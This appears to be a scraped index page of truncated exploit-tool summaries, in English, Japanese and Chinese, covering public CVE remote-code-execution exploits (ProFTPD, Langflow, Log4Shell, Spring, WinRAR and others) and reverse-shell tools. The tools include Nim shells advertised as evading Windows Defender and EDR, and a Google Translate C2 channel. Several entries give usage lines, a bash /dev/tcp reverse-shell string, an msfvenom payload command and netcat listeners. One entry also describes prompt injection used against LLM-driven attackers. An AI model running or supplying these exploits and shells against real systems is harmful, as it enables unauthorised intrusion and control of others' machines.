ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE exploit CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...

RCE-CVE-2025-3248

認証済みCVE-2025-3248 Langflowリモートコード実行 このPythonスクリプトは、CVE-2025-3248 を悪用して、脆弱性のあるシステム上で任意のコマンドを実行したり、リバースシェルを生成したりします。このエクスプロイトを使用するには認証が必要です 。 特徴 認証済みコマンド実行: ターゲット上で任意のシステムコマンドを実行します。 リバースシェル: リスナーにリバースシェルを生成します。 プロキシサポート: プロキシ（例：Burp Suite）を介してリクエストをルーティングします。 必要条件 Python 3.x requests ライブラリ...

Girsh

Girsh Golang Interactive Reverse SHell Who didn't get bored of manually typing the few lines to upgrade a reverse shell to a full interactive reverse shell tty spawn, stty size ..., stty raw -echo or typing the command to use ConPTY. Description With Girsh, just run it and it will detect the OS a...

cve-2019-5736-poc

追加すべきヘッダー stage2.c bash include bash include 攻撃者PCのIPに修正 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Dockerイメージおよびコンテナの作成 root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

Nim-Reverse-Shell

Nim Reverse Shell A simple reverse shell written in Nim that bypasses Windows Defender detection see the "Tested Operating Systems" section below for more details. This code is made for educational purposes only. Tested Operating Systems Windows 10 10.0.19045 Windows 11 10.0.22621 Compilation The...

fusionpbx_rce_vulnerability

前言 这段简单的代码试图完整实现由Dustin Cobb在使用来电显示实现RCE – FusionPBX的多个漏洞中介绍的链式漏洞。 远程代码执行 复现步骤 1. 在Web浏览器中查看存在漏洞的操作员屏幕，本例位于 https://fusionpbxaddress/app/operatorpanel/index.php 2. 在远程系统（rcelisteneraddress）上启动一个netcat监听器.x 3. 在远程系统的另一个终端窗口中运行下面的漏洞利用代码 python3 .\main.py --closercesockets False --attackeraddress...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache druid CVE-2021-25646 远程代码执行漏洞检测、利用工具 输入域名或者ip:端口，可以进行漏洞检测 对检测到漏洞的目标可以进行命令执行利用 支持单个目标 支持从文档中按行读取多个目标 （靶场演示） 漏洞检测 漏洞利用，执行 id 命令 反弹shell 反弹shell命令使用双引号括起来，不然会报错 少许卡顿之后，成功反弹shell...

Larascript

| | | | | | / || '| / |/ | /|| ' || || ' \ | | | | | | || | | | | | | | | || | || | || , ||| ,|| / ||| ||| ./ | || 作者：@pwnedshell & @rsgbengi 📌 Larascript 是什么？ Larascript 是一个利用 CVE-2018-15133 漏洞的脚本，如果存在漏洞的 Laravel 应用暴露在外，它可以执行远程命令。你可以发送命令并获取响应，例如获取 cat /etc/passwd。但你也可以请求获取一个 shell，它会为你建立一个反向...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc はリバースシェルとパスワードサポートを含みます。 自由に追加してください : テスト方法 root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py --help for more usages クレジット...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI 漏洞利用脚本 描述 一个 Python 脚本，用于通过执行反向 shell 连接来利用 Apache Tomcat 服务器上的 CGI 漏洞。 使用示例 特性 自动化利用 Apache Tomcat CGI 漏洞 可自定义目标和攻击者参数 简洁的命令行界面 先决条件 Python 3.x requests 库 Netcat nc.exe 能够接收反向 shell 的监听器 安装 root@kitploit: git clone cd pip install requests 使用 root@kitploit: python3...

nim-shell

Nim-Shell EDRおよびWindows Defenderの検出をバイパスできるリバースシェル VirusTotalにアップロードしないでください 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 root@kitploit: $ apt install nim コンパイル nim c -d:mingw --app:gui nimshell.nim nimshell.nimファイル内のリッスンしたいIPアドレスとポート番号をデバイスに合わせて変更してください。 そしてリッスン root@kitploit: $ nc -nvlp 4444...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 このケースでは、WinRARのこの脆弱性を悪用するために必要なファイルを共有します。これにより、悪意のあるPDFを作成し、攻撃者のマシンにリバースシェルを確立することができます。 ⚠️ 注意: このコンテンツは倫理的な目的で共有されており、第三者に危害を加えることなく管理された環境で練習するために作成されています。いかなる場合でも、これらのリソースを悪意のある目的で使用することは推奨されません。 リソースの準備と悪用 まず、リポジトリの内容をダウンロード します。 すべてのリソースを準備して、悪用が正しく機能するようにしましょう。...

CVE-2022-0543

CVE-2022-0543 Luaサンドボックスエスケープ脆弱性を介したRedis RCEの完全なエクスプロイト。参照元: https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/. 特徴: 自動リバースシェル -I + -P 単一コマンド実行 -x 基本シェル デフォルト 今後の予定: 誤検知を防ぐためのより良いチェックが必要 免責事項:...

CVE-2020-14295

CVE-2020-14295 脆弱性の詳細 - https://github.com/Cacti/cacti/issues/3622 インストール pip3 install -r requirements.txt 使用方法 root@kitploit: $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help このヘルプメッセージを表示して終了 requir...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 の POC ソース:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

project_mantis

Project Mantis: Hacking Back the AI-Hacker 提示注入作为针对 LLM 驱动网络攻击的防御手段 安装 Mantis root@kitploit: pip install -r requirements.txt 使用预置配置运行 Mantis ./confs 目录中提供了多种预置配置。 反击（Hack-back） ./confs/ftphackbackrshell.py 中给出了一个 Mantis 配置文件示例。该配置的含义以及如何选择你自己的配置将在本 README 后续部分说明。可以通过 mantisrun.py 脚本运行它：...

GTRS

GTRS - Google Translator Reverse Shell This tools uses Google Translator as a proxy to send arbitrary commands to an infected machine. root@kitploit: INFECTED MACHINE ==HTTPS== GOOGLE TRANSLATE ==HTTP== C2 Environment Configuration First you need a VPS and a domain, for the domain you can get a...

CVE-2021-44228

CVE-2021-44228 Log4Shell 概念验证（CVE-2021-44228） 请确保使用 Java 8 JDK。 Java 8 下载 图片 致谢 Casey Dunham - Java 反向 Shell kozmer - 初始 PoC 法律声明 该脚本的作者对这段代码的使用方式不 承担任何责任！此代码仅用于研究、开发和教学目的。...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 の脆弱性の説明と研究（学期プロジェクトCENG325の初心者向け） 悪用方法？ リバースシェルのペイロード生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python リスニングポート： nc -lvnp 5555 エクスプロイトコードの実行： python3 exploit.py -ip TARGETIP PoC リポジトリ...